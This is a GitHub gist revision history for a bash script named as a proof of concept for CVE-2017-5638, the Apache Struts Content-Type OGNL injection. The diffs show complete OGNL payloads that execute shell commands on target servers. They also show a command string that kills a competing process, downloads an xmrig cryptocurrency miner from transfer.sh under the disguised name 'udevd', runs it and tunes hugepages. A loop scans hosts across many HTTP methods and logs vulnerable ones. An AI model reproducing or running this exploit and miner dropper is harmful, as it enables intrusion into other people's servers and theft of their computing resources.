Skip to content

Instantly share code, notes, and snippets.

@f0r34chb3t4

f0r34chb3t4/CVE-2017-5638-poc2.sh

Last active April 20, 2018 09:11
Download ZIP

Revisions

  1. f0r34chb3t4 revised this gist Apr 20, 2018. No changes.
  2. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='pkill -9 bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128;id;exit'
    readonly CMD_EXEC='pkill -9 bioset;cd /tmp;curl -s https://transfer.sh/RBIyE/xmrig > udevd || wget -q -O udevd https://transfer.sh/RBIyE/xmrig;chmod a+x udevd;./udevd;rm -rf udevd;echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  3. f0r34chb3t4 revised this gist Apr 20, 2018. No changes.
  4. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -809,7 +809,7 @@ TXT
    #dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'
    # for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do

    for XPATH in ${PATH_LIST}; do
    for XPATH in /; do
    for METHOD in HEAD PUT GET; do
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
  5. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='pkill -9 bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    readonly CMD_EXEC='pkill -9 bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  6. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='pkill bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    readonly CMD_EXEC='pkill -9 bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  7. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='pkill bioset;cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    readonly CMD_EXEC='pkill bioset;cd /tmp;curl -s https://transfer.sh/z15mU/xmrig > udevd || wget -q -O udevd https://transfer.sh/z15mU/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  8. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    readonly CMD_EXEC='pkill bioset;cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  9. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -807,9 +807,10 @@ TXT

    #dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(123)}.multipart/form-data"
    #dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'
    # for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do

    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
    for METHOD in HEAD PUT GET; do
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
  10. f0r34chb3t4 revised this gist Apr 20, 2018. No changes.
  11. f0r34chb3t4 revised this gist Apr 20, 2018. No changes.
  12. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -811,7 +811,7 @@ TXT
    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    done
    done
  13. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,7 +430,7 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;exit'
    readonly CMD_EXEC='cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;id;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

  14. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 5 additions and 1 deletion.
    6 changes: 5 additions & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -430,10 +430,14 @@ readonly OS_EXEC='(#os=@java.lang.System@getProperty("os.name")).(#context["com.
    readonly OS_PAYLOAD='%{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).'"${OS_EXEC}"'}'

    # cmd to exec
    readonly CMD_EXEC='id;exit'
    readonly CMD_EXEC='cd /tmp;curl -s https://transfer.sh/BPVGD/xmrig > udevd || wget -q -O udevd https://transfer.sh/BPVGD/xmrig;chmod +x udevd;./udevd;rm -rf udevd;exit'
    #readonly CMD_EXEC='id;exit'
    readonly CMD_PAYLOAD="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"${CMD_WIN}"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c','"${CMD_EXEC}"'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"





    # check HEAD METHOD
    function hrce(){

  15. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -806,7 +806,7 @@ TXT

    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    done
  16. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -801,7 +801,7 @@ TXT
    # check "${IPv4}${XPATH}" "$( rce "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    #done

    dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(123)}.multipart/form-data"
    #dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(123)}.multipart/form-data"
    #dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'

    for XPATH in ${PATH_LIST}; do
  17. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -595,7 +595,7 @@ function check(){
    fi


    if grep -qP '^HTTP/1\.(1|0) 123\b' <<< "${buffer}"; then
    if grep -qP 'HTTP/1\.(1|0) 123\b' <<< "${buffer}"; then
    printf '[+] vul 123: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    exit 0
    fi
  18. f0r34chb3t4 revised this gist Apr 20, 2018. No changes.
  19. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -570,7 +570,7 @@ function check(){

    if [ ! -z "${os}" ]; then

    printf '[+] vul os: %s os: %s\n' "${url}" "${os}" | tee -a vul-os.dat
    printf '[+] vul os+: %s os: %s\n' "${url}" "${os}" | tee -a vul-os.dat
    exit 0

    fi
  20. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -579,12 +579,12 @@ function check(){
    local uid="$( grep -P '(uid|guid|groups)=[0-9]{1,5}\(.+?\)' <<< "${buffer}" | tr -d $'\r' | head -n1 )"

    if [ ! -z "${uid}" ]; then
    printf '[+] vul id: %s (%s) (%s) (%s)\n' "${url}" "${uid}" "${hos}" "${loc}" | tee -a vul-uid.dat
    printf '[+] vul uid: %s (%s) (%s) (%s)\n' "${url}" "${uid}" "${hos}" "${loc}" | tee -a vul-uid.dat
    exit 0
    fi

    if grep -qF 'X-Frame-Options: 65025' <<< "${buffer}"; then
    printf '[+] vul xf: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-dispatcher.dat
    printf '[+] vul xfo: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-dispatcher.dat
    exit 0
    fi

  21. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -590,13 +590,13 @@ function check(){


    if grep -qF 'org.apache.struts' <<< "${buffer}"; then
    printf '[+] vul st: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    printf '[+] vul str: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    exit 0
    fi


    if grep -qP '^HTTP/1\.(1|0) 123\b' <<< "${buffer}"; then
    printf '[+] vul 00: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    printf '[+] vul 123: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    exit 0
    fi

  22. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -512,7 +512,7 @@ function generic_rce(){
    local payload="$3"
    local JSESSIONID=$( head /dev/urandom | tr -dc A-F0-9 | head -c32 )

    curl -kvis --retry 2 -X ${method} \
    curl -kis --retry 2 -X ${method} \
    --location --max-redirs 2 \
    -H 'Content-Type: '"${payload}" \
    -H 'Cookie: JSESSIONID='"${JSESSIONID}" \
  23. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -801,7 +801,7 @@ TXT
    # check "${IPv4}${XPATH}" "$( rce "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    #done

    dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(1)}.multipart/form-data"
    dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(123)}.multipart/form-data"
    #dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'

    for XPATH in ${PATH_LIST}; do
  24. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -595,7 +595,7 @@ function check(){
    fi


    if grep -qP '^HTTP/1\.(1|0) 1\b' <<< "${buffer}"; then
    if grep -qP '^HTTP/1\.(1|0) 123\b' <<< "${buffer}"; then
    printf '[+] vul 00: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    exit 0
    fi
  25. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -595,7 +595,7 @@ function check(){
    fi


    if grep -qP '^HTTP/1\.(1|0) 0\b' <<< "${buffer}"; then
    if grep -qP '^HTTP/1\.(1|0) 1\b' <<< "${buffer}"; then
    printf '[+] vul 00: %s (%s) (%s) (%s)\n' "${url}" "${hos}" "${srv}" "${loc}" | tee -a vul-apache.struts.dat
    exit 0
    fi
  26. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -806,7 +806,7 @@ dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']

    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    done
  27. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -801,8 +801,8 @@ TXT
    # check "${IPv4}${XPATH}" "$( rce "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    #done

    #dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(1)}.multipart/form-data"
    dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'
    dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(1)}.multipart/form-data"
    #dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'

    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
  28. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -801,7 +801,7 @@ TXT
    # check "${IPv4}${XPATH}" "$( rce "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    #done


    #dispatcher="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setStatus(1)}.multipart/form-data"
    dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Frame-Options",255*255)}.multipart/form-data'

    for XPATH in ${PATH_LIST}; do
  29. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -512,7 +512,7 @@ function generic_rce(){
    local payload="$3"
    local JSESSIONID=$( head /dev/urandom | tr -dc A-F0-9 | head -c32 )

    curl -kis --retry 2 -X ${method} \
    curl -kvis --retry 2 -X ${method} \
    --location --max-redirs 2 \
    -H 'Content-Type: '"${payload}" \
